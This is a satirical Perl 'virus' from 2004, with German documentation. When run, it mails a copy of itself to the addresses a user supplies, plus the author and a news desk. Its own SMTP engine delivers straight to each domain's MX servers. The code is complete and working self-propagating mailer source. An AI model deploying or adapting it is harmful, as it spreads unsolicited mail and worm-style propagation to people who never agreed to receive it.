#!/usr/bin/perl

# TABSIZE=3

=begin html

<!-- 

  *** 
  *** Ein bisschen Krimsekrams fuer HTML-Ausgabe
  *** der weitere Kommentar beginnt danach
  ***
  
  -->

<div style="float:left; display:inline;padding-right:0.7em; border-right:2px red dashed; margin-right:0.7em;">
<script type="text/javascript"><!--
google_ad_client = "pub-2698829358358977";
google_ad_width = 160;
google_ad_height = 600;
google_ad_format = "160x600_as";
google_ad_channel ="9837083826";
google_color_border = "578A24";
google_color_bg = "CCFF99";
google_color_link = "00008B";
google_color_url = "00008B";
google_color_text = "000000";
//--></script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>

=end html


=head1 NAME

 virus.pl -- ein Dorfdepp-Virus fuer Linux, Windows, FreeBSD, Mac OS (X), ... in Perl


=head1 SYNOPSIS

 ./virus.pl 
 perl virus.pl
 ./virus.pl mein@kumpel.de
 perl virus.pl meine@feinde.de
 ./virus.pl du@depp.de tina@trulla.org noch@jemand.net


=head1 DESCRIPTION

Dieses tolle Programm ist ein ganz boeser Dorfdepp-Virus 
nicht nur fuer Linux sondern vollkommen Systemunabhaengig: 
Entwickelt unter FreeBSD, auch lauffaehig unter Windows ...
Toll, was?


=head1 AUTHOR

  Alvar C.H. Freude, 12. Januar 2004
  virus-feedback@alvar.a-blast.org

  http://alvar.a-blast.org/


=head1 COPYRIGHT, LICENSE

Dieses Programm steht unter der GPL
http://www.gnu.org/copyleft/gpl.html


=head1 DOWNLOAD

http://alvar.a-blast.org/dorfdepp/virus/virus.pl


=head1 SEE ALSO

Dank an *FAFNIR* im Heise-Forum fuer die Anregung:

http://www.heise.de/security/news/foren/go.shtml?read=1&msg_id=4876735&forum_id=51569


=head1 HISTORY

=over 3

=item Version 1.2, 26. Maerz 2004

SMTP-Engine freigabe

Als Absender wird nun der Login-Name genutzt



=item Version 1.1, 27. Januar 2004

Nun mit eigener SMTP-Engine!


=item Version 1.03, 19. Januar 2004

Fehlerbehebung:

teilweise auskommentierter Mail-Teil wieder rein ...

Englische Variablennamen anstatt Perls kryptischer Kurz-Namen ($ARG statt $_, 
$PROGRAM_NAME statt $0) usw.


=item Version 1.02, 19. Januar 2004

Nun mit URL in Mail und anderer Kleinkram


=item Version 1.00, 12. Januar 2004

Erste oeffentliche Version


=back


=head1 TODO

Binaerversion fuer Win, Linux, FreeBSD -- damit auch DAU-kompatibel ;-)

GUI (im eigenen Thread)

Suche nach moeglichen Empfaengern auf der ganzen Platte (File::Find im Thread)

...


=cut


#
# Ein paar externe Module
#


use warnings;							# Warnungen anschalten
use strict;								# variablen muessen angemeldet werden u.a.
use English;							# lange Spezialvariablen

use MIME::Lite;						# MIME::Lite konstruiert und verschickt auch komplexe MIME-Mails einfach
use Net::SMTP;							# SMTP-Engine fuer unseren eigenen Mail-Auslieferer
use Net::Domain qw(hostdomain);	# Domainkram fuer lokale Kiste
use Net::DNS;							# DNS-Arbeiten leicht gemacht

use vars qw($VERSION);				# auch fuer alte Perls: globale Variable $VERSION
$VERSION="1.2";


my $mail = qq{Hi!
Ich bin ein Dorfdepp. Wenn Du auch einer werden willst,
starte das beiliegende Programm und gebe als Parameter die
Deine E-Mail-Adressen Deiner Kumpels an.

Bis Bald, Dein Dorfdepp.


# Generated with DORFDEPP-VIRUS $VERSION
# http://alvar.a-blast.org/dorfdepp/virus/

};

my @to = ('dorfdepp-virus@alvar.a-blast.org', 'newstips@heise.de', @ARGV);


foreach my $to (@to)											# Fuer alle aus dem Empfaenger-Array
   {

   my $msg = MIME::Lite->new								# konstruiere ein neues Mail-Objekt
      (
      To       => $to,
      From     => getlogin || getpwuid($REAL_USER_ID) || "Hutzelhutzi",
      Subject  => 'Voll geiler Virus',
      Data     => $mail,
      );

   $msg->attach												# Haenge das Programm selbst als Attachment an
      (
      Type     => 'text/plain',
      Path     => $PROGRAM_NAME,
      );
      
   
   relay                                           # Verschicke die Mail
      ({
      from => 'dorfdeppvirus@alvar.a-blast.org',
		to   =>	[$to],
		data =>  $msg->as_string
      });
      
   };


#
# Interne Relay-Funktion, da Net::SMTP::Server::Relay einen Bug
# hat: aufgrund falscher Variable verschickt er nix
#
# Daher hier halt eine eigene Relay-Funktion ...
#

sub relay
   {
   my $params = shift;
   
    # Loop through the recipient list.
   foreach my $target (@{$params->{to}})
      {
      my $rr;
      $target =~ /@(.*)/;

      my $res = new Net::DNS::Resolver;
      my @mx = mx($res, defined($1) ? $1 : hostdomain);

      next unless scalar(@mx);

      # Loop through the MXs.
      foreach $rr (@mx)
         {
         my $client = new Net::SMTP($rr->exchange) || next;

         $client->mail($params->{from}) || next;
         $client->to($target)           || next;
         $client->data($params->{data}) || next;
         $client->quit                  || next;
         last;
      }
   }
}